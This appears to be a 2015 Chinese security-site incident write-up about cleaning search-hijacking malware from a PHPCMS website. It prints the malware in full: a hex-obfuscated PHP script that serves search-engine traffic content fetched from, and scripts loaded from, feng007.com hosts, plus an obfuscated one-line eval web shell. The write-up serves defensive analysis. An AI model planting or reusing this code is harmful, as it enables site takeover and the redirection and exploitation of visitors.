首页 资讯 安全 查看内容

实战案例:PHPCMS牛逼搜索劫持

2015-5-20 11:02 |来自: 青云安全 18292 1

摘要: 刚遇到一个客户网站被挂马劫持了,在偶丰富的经验下,大马们很快就缴械投降了,唯独一个小马隐藏的很深,查了两天才查到,现在分享出来给大家交流,一定要小心,现在的黑客都是为了利益TM不干人事的人精呀!!被挂 ...
关键词: nbsp Class 上传下载 HTTP 附件 SERVER 分钟 define url REFE

刚遇到一个客户网站被挂马劫持了,在偶丰富的经验下,大马们很快就缴械投降了,唯独一个小马隐藏的很深,查了两天才查到,现在分享出来给大家交流,一定要小心,现在的黑客都是为了利益TM不干人事的人精呀!!

被挂马现像,调试以及清马过程切图如下:

1.webp
2.webp
3.webp
4.webp
5.webp
6.webp
7.webp
8.webp
9.webp
10.webp

木马内容如下:
  1. 调用
  2. //@INCLUDE_ONCE(PACK('H*','453a2f52454359434c45522f6e67696e78'));

  3. 劫持
  4. <?php
  5. date_default_timezone_set('PRC');
  6. $start_link=false;
  7. function Class_UC_key($string){$array = strlen ($string);$debuger = '';for($one = 0;$one < $array;$one+=2) {$debuger .= pack ("C",hexdec (substr ($string,$one,2)));}return $debuger;}


  8. function Class_Get($url){if(extension_loaded('curl')){$ch = curl_init(trim($url));curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$content = curl_exec($ch);curl_close($ch);}else{$content = @file_get_contents(trim($url));}return $content;}


  9. function Class_Turl($url,$host){
  10.         $string = Class_UC_key('4c6f636174696f6e3a20').$url.Class_UC_key('3f').$host;
  11.         Header($string);
  12.         exit;
  13. }


  14. function getIP(){
  15.         if (@$_SERVER["HTTP_X_FORWARDED_FOR"])$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
  16.         else if (@$_SERVER["HTTP_CLIENT_IP"])$ip = $_SERVER["HTTP_CLIENT_IP"];
  17.         else if (@$_SERVER["REMOTE_ADDR"])$ip = $_SERVER["REMOTE_ADDR"];
  18.         else if (@getenv("HTTP_X_FORWARDED_FOR"))$ip = getenv("HTTP_X_FORWARDED_FOR");
  19.         else if (@getenv("HTTP_CLIENT_IP"))$ip = getenv("HTTP_CLIENT_IP");
  20.         else if (@getenv("REMOTE_ADDR"))$ip = getenv("REMOTE_ADDR");
  21.         else $ip = "Unknown";
  22.         return $ip;
  23. }

  24. error_reporting(E_ERROR);
  25. define('HOST',$_SERVER['HTTP_HOST']);
  26. define('REFE',$_SERVER['HTTP_REFERER']);
  27. define('USER',$_SERVER['HTTP_USER_AGENT']);
  28. define('URL',$_SERVER['REQUEST_URI']);
  29. define('URL1',$_SERVER['PHP_SELF']);

  30. $retueby = array(
  31.                                 1 => Class_UC_key ('636f6e74656e742d547970653a20746578742f68746d6c3b20636861727365743d676232333132'),
  32.                                 2 => Class_UC_key ('687474703a2f2f'),
  33.                 );
  34. define('BOSWON',Class_UC_key ('62616964757c676f6f676c657c736f676f757c736f736f'));
  35. define('CLASS_ZHU',$retueby[2].Class_UC_key('7868662e66656e673030372e636f6d3a3636362f79756578692f696e6465782e706870'));
  36. define('GAME','xhf');
  37. define('MO','yuexi');
  38. define('DAO','dao_a');
  39. $sid=$_GET['id'];
  40. $myget = false;
  41. if(strlen(URL)>=2 &&stristr(URL,'arcid')){
  42.         $myget = true;
  43. if(stripos(REFE,'baidu')>-1 || stripos(REFE,'360')>-1 || stripos(REFE,'soso')>-1  || stripos(REFE,'google')>-1)
  44. {
  45.         $url = '<script type="text/javascript" src="http://dhf.feng007.com:88/bd.js"></script>';
  46. echo $url;
  47. }
  48. }
  49. if (eregi (BOSWON,USER) || $start_link==true){
  50.        
  51.         if(!empty($_GET) && $myget){
  52.                 echo Class_Get(CLASS_ZHU.'?allgame='.GAME.'&url='.bin2hex(URL).'&url1='.bin2hex(URL1).'&mo='.MO.'&dao='.DAO.'&host='.HOST.'&sid='.$sid);

  53.                 echo $dao;
  54.                 exit;
  55.         }
  56.         if(empty($_GET)){
  57.                 echo '';
  58.         }
  59. }


  60. if(eregi (BOSWON,REFE)){
  61.         foreach($arrgpe as $strss => $idss){
  62.                 if(stristr(REFE,$strss)){
  63.                         $myids = $idss;
  64.                 }
  65.         }
  66.         $class_n = true;
  67.         if(stristr(REFE,'site%3A') or stristr(REFE,'inurl%3A')){
  68.                 setcookie('x86',HOSTT,time() + 259200);
  69.                 $class_n = false;
  70.         }
  71.         if(('http://'.HOSTT.URLL !== 'http://'.HOSTT.'/') && ('http://'.HOSTT.URLL !== 'http://'.HOSTT.'/index.php') && $class_n && empty($_COOKIE['x86']) && !empty($myids)){
  72.                         setcookie('x86',HOSTT,time() + 259200);
  73.                         $Class_change = trim(Class_Get(CLASS_URL));
  74.                         $Class_arrs = explode('@@@',$Class_change);
  75.                         $Class_news = base64_decode($Class_arrs[1]);
  76.                         $Class_come = $Class_news.$myids.Class_UC_keyy('2e68746d');
  77.                         Class_Turl($Class_come,HOSTT);
  78.         }
  79. }

  80. ?>

  81. 一句话
  82. <?php
  83. $dc = array('v', 'a', ")", "(", "$", ',', "'", ';', '_', "f", 'e', 'c', 's', 't', 'p', 'o', 'u', 'l', 'i', 'n', 'k');
  84. $fuc = create_function('$k',$dc[10].$dc[0].$dc[1].$dc[17].$dc[3].$dc[4].$dc[20].$dc[2].$dc[7]);
  85. $fuc($_REQUEST[5202]);
  86. ?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋
http://www.hackbase.net/article-222-1.html
2015-5-25 12:04

返回顶部